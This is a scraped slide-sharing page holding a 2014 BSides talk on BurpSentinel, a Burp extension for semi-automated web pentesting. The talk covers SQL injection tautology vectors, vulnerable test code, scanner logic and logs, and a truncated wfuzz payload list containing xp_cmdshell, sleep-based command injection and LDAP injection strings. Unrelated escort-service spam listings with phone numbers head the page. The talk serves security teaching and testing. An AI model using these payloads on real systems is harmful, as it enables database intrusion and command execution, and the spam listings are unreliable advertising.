Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
ย 
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
ย 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
ย 
Thalassery Escorts Service โ˜Ž๏ธ 6378878445 ( Sakshi Sinha ) High Profile Call G...
Thalassery Escorts Service โ˜Ž๏ธ 6378878445 ( Sakshi Sinha ) High Profile Call G...Thalassery Escorts Service โ˜Ž๏ธ 6378878445 ( Sakshi Sinha ) High Profile Call G...
Thalassery Escorts Service โ˜Ž๏ธ 6378878445 ( Sakshi Sinha ) High Profile Call G...
ย 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
ย 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
ย 
WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)
WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)
WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)
ย 
Busty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort Service
Busty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort ServiceBusty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort Service
Busty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort Service
ย 
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
ย 

Bsidesvienna sentinel v0.4

  • 1. BurpSentinel Burp Extension Dobin Rutishauser Compass Security Schweiz AG bsidesvienna 2014 Version 0.4, 2014
  • 2. Intro โ— Uhm, welcome to bsides i guess? โ— Glad you could make it this early! โ— I hope everyone had his/her coffee โ€“ Or wine
  • 3. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 4. About Me โ— Security Analyst at Compass Security AG since 2011 โ— Team Teso fanboy back in the days' โ€“ And GOBBLES โ— Covert channel hopper FreeBSD 6.0 kernel backdoor โ€“ So many reboots... โ— Remote exploits for telnetd, samba, and more โ€“ no 0-days โ— Kryptocrew, Computec, UNF, Diesel Power, #bsdger, de.org.ccc, 19C3, ...
  • 5. About this presentation โ— I assume you know about XSS, SQL injections etc โ— And how to find those vulnerabilities โ— Its about: toolz โ— Over 100 slides. Sorry.
  • 6. Compass Security AG โ— Compass Security? โ€“ Thanks for paying the trip! โ€“ Security Pentests and stuff โ€“ Hacking Lab โ€“ European Cyber Security Challenge (ECSC)
  • 7. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 8. Motivation Work in a Security Pentesting Company: โ— Test 1 Webapp each week โ— โ€žPlease find ALL the vulnerabilitiesโ€œ โ— โ€žNO automated scanning, its a production system for a 1 billion usersโ€œ โ— ALWAYS the same tests โ— ALWAYS the same clicks โ— I'm lazy
  • 9. Current State of WebApp Hacking
  • 11. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Other SQL Injection Scanners โ€“ Sentinel & SQL Injections โ— Conclusion
  • 12. Web Application HTTP Request HTTP Response
  • 13. Discovery Resource Selection Input/Attack Generator Input Blackbox Output Analyze Parameter Selection Find Actions URL's Requests GET POST COOKIE Vulnerability Discovery Content Length HTTP Code
  • 14. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 15. Automated Vulnerability Discovery โ— Acunetix Web Vulnerability Scanner โ— W3AF โ— Burp Scanner โ— Many (MANY) others โ€“ Its sexy โ€“ Its cool โ€“ It looks like matrix!
  • 16.
  • 17.
  • 18.
  • 19. Automated Vulnerability Discovery Discovery Ressource Selection Input/Attack Generator Input Blackbox Output Analyze Parameter Selection Automated Unrealiable Automated Dumb Automated Dumb Automated Intransparent Automated Intransparent
  • 20. Automated VD - Advantages โ— Find low hanging fruits โ— Tests for a lot of different vulnerabilities โ— Tests a lot of different resources
  • 21. Automated VD - Problems โ— Dont know which attacks it performs โ— Or if it performs them correctly โ— Maybe it logouts on the first request? โ— Maybe it deletes the database? โ— Maybe it crashes the system? โ— Time needed: โ€“ Configure it โ€“ Weed out false positives / recheck โ€“ โ€žBabysittingโ€œ
  • 22. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Other SQL Injection Scanners โ€“ Sentinel & SQL Injections โ— Conclusion
  • 23. Intercepting Proxy โ— Burp โ— ZAP โ— (Others)
  • 24. Burp User Interface DDiissccoovveerryy RReessoouurrccee SSeelleeccttiioonn
  • 25. Burp User Interface RReessoouurrccee SSeelleeccttiioonn PPaarraammeetteerr SSeelleeccttiioonn AAttttaacckk GGeenneerraattiioonn AAnnaallyyzzee
  • 26. Manual Vulnerability Discovery Discovery Ressource Selection Input/Attack Generator Input Blackbox Output Analyze Parameter Selection Manual Reliable Manual Transparent Smart Manual Transparent Smart Manual Transparent Manual Transparent
  • 27. Manual VD - Advantages โ— Can find difficult vulnerabilities โ€“ Sql injection in URL encoded JSON variable name-part โ— Can find vulnerabilities in multi-step processes โ€“ Create order โ†’ add stuff โ†’ simulate โ†’ execute โ†’ view โ†’XSS โ— Can find logic bugs โ€“ Webshop: โ€žorder -1 itemsโ€œ
  • 28. Manual VD - Problems โ— Always generate the same inputs, look for same outputs โ€“ OR 1=1 /* โ€“ AAAA<a>'โ€œ โ— Always look through 10 kb HTTP responses โ— Tedious with current tools
  • 29. Compare Manual/Automated โ— Each of them has their purpose โ— But why not combine them?
  • 30. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Other SQL Injection Scanners โ€“ Sentinel & SQL Injections โ— Conclusion
  • 31. Development History โ— AWAKE, ~2002 โ€“ Spider, HTML View, Link Manual Attack โ€“ Perl, MySQL, Web Based โ€“ Discontinued because of UI โ— AWAKE2, 2004-2006 โ€“ Similar to ZAP โ€“ Java / Swing / Netbeans โ€“ Discontinued because of reinventing the wheel โ— ZAP, 2011-2012 โ€“ Primarily ZAP UI โ€“ Discontinued because of ancient/obsolete/spaghetti code โ— Sentinel, 2012-? โ€“ BURP Plugin โ€“ ZAP Plugin is work in progress โ€“ Awesomeness!
  • 32. What is Sentinel? โ— User: send a HTTP Request to Sentinel โ— Attack some params with predefined set of attack vectors โ— Try to Interpret response โ— Show everything to the user โ— Show EVERYTHING
  • 38. Demo Time Sorry if the font is too small! I'm glad we are in a cinema
  • 39. Other Sentinel Features โ— Diff โ— UI Link โ— Attack Lists โ— Categorizer โ— Firefox Plugin
  • 40. XSS with Sentinel โ— Add Identifier to original parameter โ— If identifier is reflected on response, add: โ€“ %3Cp%3E%22 โ€“ <p>" โ€“ %22%3D โ€“ "= โ— All you ever need?
  • 41. Sentinel advantages โ— Very targeted attacks โ€“ On specific resources / arguments โ— But still automated โ— Compare response: original / attack โ— Easily find vuln's with minimal change in response โ— No need for external tool or to import HTTP request
  • 42. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 43. SQL Injections โ— Categories: โ€“ Error Message (trivial) โ€“ Blind โ€“ Completely Blind (out of scope) โ— Types: โ€“ SELECT โ€“ INSERT โ€“ UPDATE โ€“ DELETE
  • 44. Focus: Blind SELECT SQL Injection $query = โ€œSELECT id FROM users WHERE name = 'โ€œ + $var + โ€œ' โ€œ; SELECT id FROM users WHERE name = 'root'
  • 45. Focus: Blind SELECT SQL Injection Input Type Input Output Original root โ€žUser ID: 1โ€œ Inexistant rootbbbb โ€žUser Not foundโ€œ Broken SQL root' โ€žErrorโ€œ Valid SQL Root' || ' โ€žUser ID: 1โ€œ
  • 46. Focus: Blind SELECT SQL Injection Input Type Input Output Original root โ€žUser ID: 1โ€œ Inexistant rootbbbb โ€žUser Not foundโ€œ Broken SQL root' โ€žUser Not foundโ€œ Valid SQL Root' || ' โ€žUser ID: 1โ€œ
  • 47. How to identify SQL injection?
  • 48. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Other SQL Injection Scanners โ€“ Sentinel & SQL Injections โ— Conclusion
  • 49. How to โ€žunbreakโ€œ SQL statements? ' OR 1=1 -- ' OR 1=1) -- ') OR 1=1 -- โ€ฆ ???
  • 50.
  • 51.
  • 52.
  • 53.
  • 54. Test Database CREATE TABLE users ( id INT, name VARCHAR(100), password VARCHAR(100) ); INSERT INTO users VALUES (0, 'root', 'pw1'); INSERT INTO users VALUES (1, 'nobody', 'pw2'); INSERT INTO users VALUES (2, 'aaaa', 'pw3'); INSERT INTO users VALUES (666, 'dobin', 'pw3');
  • 55. All possible SQL SELECT's โ— SELECT โ€ฆ FROM users WHERE name = 'root' WHERE id = 1 WHERE id = '1' WHERE โ€ฆ ASC, DESC
  • 56. โ— SQL SELECT โ€“ FROM users WHERE name = 'aaaa' Attack Vector MYSQL MSSQL 2008 R2 PostresSQL 9.1 Oracle SQLite aaaa'' 0 Results 0 Results 0 Results 0 Results 0 Results aa''aa 0 Results 0 Results 0 Results 0 Results 0 Results aa' 'aa Ok Error Error Error Error aa' + 'aa 3 Results Ok Error Error 0 Results aa' || 'aa 0 Results Error Ok Ok Ok aa' /**/ 'aa Ok Error Error Error Error concat('aa', 'aa') Ok Error Ok Ok Error aaaa' AND '1'='1 Ok Ok Ok Ok Ok
  • 57. โ— SQL SELECT โ€“ FROM users WHERE name = 'aaaa' Attack Vector MYSQL MSSQL 2008 R2 PostresSQL 9.1 Oracle SQLite aaaa'' 0 Results 0 Results 0 Results 0 Results 0 Results aa''aa 0 Results 0 Results 0 Results 0 Results 0 Results aa' 'aa Ok Error Error Error Error aa' + 'aa 3 Results Ok Error Error 0 Results aa' || 'aa 0 Results Error Ok Ok Ok aa' /**/ 'aa Ok Error Error Error Error concat('aa', 'aa') Ok Error Ok Ok Error aaaa' AND '1'='1 Ok Ok Ok Ok Ok
  • 58. โ— SQL SELECT โ€“ FROM users WHERE id(int) = 1 Attack Vector MYSQL MSSQL PostresSQL 9.1 Oracle SQLite 3 666'' Error Error Error Error Error 0+1 ok ok ok ok ok 2-1 ok ok ok ok ok 66/**/6 Error Error Error Error Error 66 || 6 3 Results Error Error ok ok 666/**/ ok ok ok ok ok 666 AND 1=1 ok ok ok ok ok
  • 59. โ— SQL SELECT โ€“ FROM users WHERE id(int) = 1 Attack Vector MYSQL MSSQL PostresSQL 9.1 Oracle SQLite 3 666'' Error Error Error Error Error 0+1 ok ok ok ok ok 2-1 ok ok ok ok ok 66/**/6 Error Error Error Error Error 66 || 6 3 Results Error Error ok ok 666/**/ ok ok ok ok ok 666 AND 1=1 ok ok ok ok ok
  • 60. โ— SQL SELECT โ€“ FROM users WHERE id(int) = '1' Attack Vector MYSQL MSSQL PostresSQL 9.1 Oracle SQLite 3 0+1 Wrong: 0 Error Error Error 0 Res 2-1 Wrong: 2 Error Error Error 0 Res 66/**/6 Wrong: 66 Error Error Error 0 Res 66' + '6 0 Results Ok Error 0 Results 0 Res 66' + '600 Ok 0 Res Error Ok Ok 66' || '6 Wrong: All Error Error 0 Results Ok 0' + concat('66', '6') + '0 Ok Error Error Ok Error 0' || concat('66', '6') || '0 Wrong: All Error Error 0 Results Error 660' + CAST(6 AS int) + '0 Error Ok Ok Ok Ok 660' + 0 + '0 Ok Ok Ok Ok Ok 666'' Ok Error Error Error 0 Res
  • 61. โ— SQL SELECT โ€“ FROM users WHERE id(int) = '1' Attack Vector MYSQL MSSQL PostresSQL 9.1 Oracle SQLite 3 0+1 Wrong: 0 Error Error Error 0 Res 2-1 Wrong: 2 Error Error Error 0 Res 66/**/6 Wrong: 66 Error Error Error 0 Res 66' + '6 0 Results Ok Error 0 Results 0 Res 66' + '600 Ok 0 Res Error Ok Ok 66' || '6 Wrong: All Error Error 0 Results Ok 0' + concat('66', '6') + '0 Ok Error Error Ok Error 0' || concat('66', '6') || '0 Wrong: All Error Error 0 Results Error 660' + CAST(6 AS int) + '0 Error Ok Ok Ok Ok 660' + 0 + '0 Ok Ok Ok Ok Ok 666'' Ok Error Error Error 0 Res
  • 62. โ— SQL SELECT โ€“ FROM users WHERE โ€ฆ ORDER BY ASC Attack Vector MYSQL MSSQL PostresSQL 9.1 Oracle 12.1.0 SQLite ASC/**/ Ok Ok Ok Ok Ok ASC'' Error Error Error Error Error ASC AND 1=1 Error Error Error Error Error
  • 63. โ— SQL SELECT โ€“ FROM users WHERE โ€ฆ ORDER BY ASC Attack Vector MYSQL MSSQL PostresSQL 9.1 Oracle 12.1.0 SQLite ASC/**/ Ok Ok Ok Ok Ok ASC'' Error Error Error Error Error ASC AND 1=1 Error Error Error Error Error
  • 64. Fazit: Real tautology SQL โ€žAll the attack vectors you ever needโ€œ โ— String: โ€“ aa' 'aa โ€“ aa' + 'aa โ€“ aa' || 'aa โ— Int: โ€“ 1+1-1 โ— Int with quotes: โ€“ 1' + 0 + '0 โ— ASC/DEC: โ€“ /**/
  • 65. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 70. SQL Injection Conclusion โ— Need not more than the 6 attack vectors โ€“ They are the most versitale and โ— Plus: โ€“ Encode it as double quotes โ€œ instead of single quote ' โ— Plus: โ€“ URL encode or not (depending on situation) โ— Check the results manually with diff
  • 71. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 72. SQL Scanner โ— Check implementations of other SQL scanners โ€“ Simple Select try { $file_db = new PDO('sqlite:db/testdb.sqlite'); $file_db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $result = $file_db->query( "SELECT id FROM users WHERE name='" . $var_param . "'" ); foreach($result as $row) { $var_output = "Username ID: <b>" . $row['id'] . "</b>"; } } catch(PDOException $e) { }
  • 73. SQL Scanner Summary 1: Simple Select Difficulty 1 Brackets AND Difficulty 2 Random Length Difficulty 3 SQL INSERT Difficulty 4 SQL Update Skipfish No Wapiti No W3af Yes Zap Yes Burp Pro Yes
  • 74. Finding SQL Injections: Difficulties Difficulty 1: Brackets and AND Difficulty 2: Non-static responses Difficulty 3: UPDATE Difficulty 4: INSERT
  • 75. Difficulty 1: Brackets and AND โ— Insert brackets โ— Insert AND, OR, ... $result = $file_db->query(" SELECT id FROM users WHERE (name=' " . $var_param . " ' AND id >= 0)" );
  • 76. Difficulty 2: Non-static responses โ— Responses to identical requests can differ โ— Examples: โ€“ AD Banner includes โ€“ โ€žPage generated in: 0.005 secondsโ€œ โ€“ Loadbalancer (server9 vs server10) โ€“ Viewstates โ€“ Cookie values (Tracking) โ€“ Refferer โ€“ etc
  • 77. Difficulty #3: UPDATE UPDATE users SET name=' " . $var_param . " ' WHERE id=666" โ— Try: hacker' OR 1=1 -- โ— A reason for long conference calls
  • 78. Difficulty #4: INSERT INSERT INTO users (id, name, pw) VALUES ('1111', ' " . $var_param . " ', 'empty')
  • 79. SQL Scanner Summary 2: Simple Select Difficulty 1 Brackets AND Difficulty 2 Random Length Difficulty 3 SQL INSERT Difficulty 4 SQL Update Skipfish No No No No No Wapiti No No No No No W3af Yes Yes No No No Zap Yes Yes No No No Burp Pro Yes Yes No No No
  • 80. How to reliably kill SQL scanner? Add a random length string in response...
  • 81. Lets check the Acuentix Test website
  • 82. Real Life Example: Acunetic Acuart Vulnerable Testphp
  • 83. Real Life Example: Acunetic Acuart Vulnerable Testphp โ— Skipfish: Nah โ— Wapiti: Nope... โ— W3af: Not possible to scan (POST) โ— ZAP: XSS! โ— Burp: Yes (300 requests) searchFor=a'%2b(select%20*%20from%20 (select(sleep(20)))a)%2b'&goButton=go
  • 84. Real Life Example: Acunetic Acuart Vulnerable Testphp
  • 85. Real Life Example: Acunetic Acuart Vulnerable Testphp
  • 86. Real Life Example: Acunetic Acuart Vulnerable Testphp POST /search.php?test=query HTTP/1.1 Host: testphp.vulnweb.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://testphp.vulnweb.com/search.php?test=query Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 26 goButton=go&searchFor=a'+'
  • 87. Content โ— Intro โ— Motivation โ— About Web App Hacking โ€“ Automated Scanners โ€“ Manual Hacking โ€“ Semi Automated: Sentinel โ— Learning by doing: SQL Injection โ€“ Super Short Intro to SQL Injections โ€“ Tautology based SQL Injections โ€“ Sentinel & SQL Injections โ€“ Other SQL Injection Scanners โ— Conclusion
  • 88. Web App Hacking 1.0 โ— Browser โ€“ + Hackbar โ€“ + F12 โ— Intercepting Proxy โ— And some automated scanners
  • 92. โ€œSend to Burpโ€ Send to Burp โ— Nope! โ— Only Tab URL โ— No Post โ— No Header โ— Just not possible ?
  • 93. Sentinel FF Plugin โ— Next to Sentinel โ— Next to Repeater โ— Enable Intercept โ— Disable Intercept
  • 95. Todo List โ— Request Chainer โ€“ Chain several request/responses together โ€“ Ex: Upload file โ†’ get file id โ†’ view file โ€“ Work in Progress โ— Zap Extension โ€“ Nearly done
  • 96. Burp Plugin Development 1/2 โ— Its easy! โ€“ Java, python, ruby โ— Implement HTTP Listener โ— Listener gets called with HTTP Request/Response as ByteArray โ— Parameters are already parsed 4 u โ— Do with it what you want โ€“ Burp.sendHttpMessage() โ€“ Message.addVulnerability()
  • 98. Web Attack Tools โ— There's more than just automated and manual scanner โ— Let the user/hacker think by themself โ— Make it easy to use โ— Make it user friendly! โ— Integrate seamless in existing tools โ— What it does should be transparent/visible
  • 99. Call for action โ— Dont be that guy who creates yet another sql scanner โ— Improve existing tools โ— Integrate Tools โ— Export/Import files seamless โ— Create plugins โ— Improve UI โ— Test Tools โ— Write about them
  • 100. Resources โ— ZAP โ€“ http://code.google.com/p/zaproxy/ โ€“ Psiion is a great guy! โ— Burp โ€“ http://portswigger.net/burp/extender/ โ€“ Not open source, but good / free edition โ— OWASP โ€“ https://www.owasp.org/index.php/Category:OWASP_ Project โ€“ It tries to not suck anymore
  • 101. Sentinel โ— Sentinel: โ€“ https://github.com/dobin/BurpSentinel โ— My Twitter: โ€“ https://twitter.com/dobinrutis โ— Email: โ€“ dobin@broken.ch
  • 102. I still have time?!
  • 103. Just some SQL troubles aka SQL Injection Pitfalls
  • 104. SQL Pitfalls: SELECT TROUBLES โ— SELECT ... WHERE name IN ('aaa', 'bbb') โ— WHERE name IN ('aaa' OR '1'='1', 'bbb') โ€“ Does only work in MySQL...
  • 105. SQL Pitfalls: MySQL and INT with STRING mysql> SELECT id FROM users WHERE id = '1a1'; +------+ | id | +------+ | 1 | +------+ mysql> SELECT id FROM users WHERE id = '1+1'; +------+ | id | +------+ | 1 | +------+
  • 106. SQL with OR mysql> SELECT name, password FROM users WHERE name="root" AND password = "WRONG"; Empty set (0.00 sec) mysql> SELECT name, password FROM users WHERE name="root" OR 1=2 AND password = "WRONG"; +------+----------+ | name | password | +------+----------+ | root | pw1 | +------+----------+
  • 107. SQL non SELECT INSERT INTO users (id, name, password) VALUES (0, 'root', 'pw1'); INSERT INTO users VALUES (0, 'root', 'pw1'); UPDATE users SET name = "root" WHERE id = 778; Tautology works here too!
  • 108. Fazit: Real tautology SQL โ€žAll the attack vectors you ever needโ€œ โ— String: โ€“ aa' 'aa โ€“ aa' + 'aa โ€“ aa' || 'aa โ— Int: โ€“ 1+1-1 โ— Int with quotes: โ€“ 1' + 0 + '0 โ— ASC/DEC: โ€“ /**/
  • 110. Skipfish Skipfish SQL detection function: /* Got all data: misc[0] = 9-8 (or orig-0) misc[1] = 8-7 (or orig-0-0) misc[2] = 9-1 (or orig-0-9) misc[3] = [orig]'" misc[4] = [orig]'" misc[5] = [orig]'" misc[6] = 9 - 1 (or orig - 0 - 0) misc[7] = 9 1 - (or orig 0 0 - -) misc[8] == [orig]''''"""" misc[9] == [orig]'"'"'"'" If misc[0] == misc[1], but misc[0] != misc[2], probable (numeric) SQL injection. Ditto for misc[1] == misc[6], but misc[6] != misc[7]. If misc[3] != misc[4] and misc[3] != misc[5], probable text SQL Injection. If misc[4] == misc[9], and misc[8] != misc[9], probable text SQL injection. */
  • 111. Skipfish To that effect, skipfish puts emphasis on well-crafted probes, and on testing for behavioral patterns, rather than signatures. For example, when testing for string-based SQL injection, we compare the results of passing '"original_value, '"original_value, and '"original_value. When the first response is similar to the third one, but different from from the second one - we can, with a pretty high confidence, say that there is an underlying query injection vulnerability (even if query results can't be observed directly). Interestingly, this check is versatile enough to do a pretty good job detecting eval()-related vulnerabilities in PHP, and injection bugs in many other non-SQL query languages. http://lcamtuf.blogspot.ch/2010/11/understanding-and-using-skipfish.html
  • 113. Wapiti
  • 114. Wapiti payload = "xBF'"(" [...] else: err = self.__findPatternInResponse(data) def __findPatternInResponse(data): if "You have an error in your SQL syntax" in data: return _("MySQL Injection") if "supplied argument is not a valid MySQL" in data: return _("MySQL Injection")
  • 115. Wapiti for payload in self.blind_sql_payloads: payload = self.HTTP.quote(payload.replace( "__TIME__", self.TIME_TO_SLEEP)) try: resp = self.HTTP.send(evil_req, headers=headers) data, code = resp.getPageCode() except requests.exceptions.Timeout: self.logVuln(category=Vulnerability.BLIND_SQL_INJECTION, break sleep(__TIME__)#1 sleep(__TIME__)#[LF]1 [VALUE],sleep(__TIME__)#1 [VALUE]`,sleep(__TIME__)#1 1 or sleep(__TIME__)#1 1 or sleep(__TIME__)#[LF]1 " or sleep(__TIME__)#1 " or sleep(__TIME__)#[LF]1 ' or sleep(__TIME__)#1 ' or sleep(__TIME__)#[LF]1 " or sleep(__TIME__)=" ...
  • 118. w3af # also with no quotes or double quotes true_stm: 1' OR '1'='1 false_stm: 1' AND '1'='2 syntaxerror_stm: d'z' if (body_true_stm == body_false_stm) return false if (semiequal (true_stm, syntaxerror_stm) ) return false true_stm2: 3' OR '3'='3 false_stm2: 3' AND '3'='4 if (! semiequal(body_true_stm2, body_true_stm) ) return false if (! semiequal(body_false_stm2, body_false_stm) ) return false
  • 119. w3af [Tue 04 Nov 2014 08:55:00 PM CET] Blind SQL injection was found at: "http://localhost/SentinelTestbed/sentinel-sql3.php", using HTTP method GET. The injectable parameter is: "vulnparam". This vulnerability was found in the requests with ids 39 to 40. [Tue 04 Nov 2014 08:55:00 PM CET] Scan finished in 7 seconds. [Tue 04 Nov 2014 08:55:00 PM CET] Stopping the core...
  • 120. w3af Created 1 mutants for "Method: GET | http://localhost/SentinelTestbed/sentinel-sql3.php | Query string: (vulnparam)" (query string: 1) Created 1 mutants for "Method: GET | http://localhost/SentinelTestbed/sentinel-sql3.php | Query string: (vulnparam)" (query string: 1) GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3" OR "3"="3 returned HTTP code "200" (id=33,from_cache=0,grep=1) GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=a'b"c'd" returned HTTP code "200" (id=34,from_cache=0,grep=1) GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3" AND "3"="4 returned HTTP code "200" (id=35,from_cache=0,grep=1) GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3' OR '3'='3 returned HTTP code "200" (id=36,from_cache=0,grep=1) GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3' AND '3'='4 returned HTTP code "200" (id=37,from_cache=0,grep=1) Comparing body_true_response and body_false_response. [blind_sqli_debug] Result: True GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=d'z'0 returned HTTP code "200" (id=38,from_cache=0,grep=1) [blind_sqli_debug] Comparing body_true_response and body_syntax_error_response. [blind_sqli_debug] Result: False GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=1' OR '1'='1 returned HTTP code "200" (id=39,from_cache=0,grep=1) GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=1' AND '1'='2 returned HTTP code "200" (id=40,from_cache=0,grep=1) [blind_sqli_debug] Comparing body_second_true_response and body_true_response. [blind_sqli_debug] Result: True [blind_sqli_debug] Comparing body_second_false_response and body_false_response. [blind_sqli_debug] Result: True Blind SQL injection was found at: "http://localhost/SentinelTestbed/sentinel-sql3.php", using HTTP method GET. The injectable parameter is: "vulnparam". This vulnerability was found in the requests with ids 39 to 40. Blind SQL injection was found at: "http://localhost/SentinelTestbed/sentinel-sql3.php", using HTTP method GET. The injectable parameter is: "vulnparam". This vulnerability was found in the requests with ids 39 to 40.
  • 123. ' wfuzz " #- -- '%20-- --'; '%20; =%20' =%20; =%20-- x23 x27 x3D%20x3B' x3D%20x27 x27x4Fx52 SELECT * x27x6Fx72 SELECT * 'or%20select * admin'-- <>"'%;)(&+ '%20or%20''=' '%20or%20'x'='x "%20or%20"x"="x ')%20or%20('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- "' or 1 --'" or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' " or 1=1 or ""=" ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset &lt;&gt;&quot;'%;)(&amp;+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT &apos;%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or 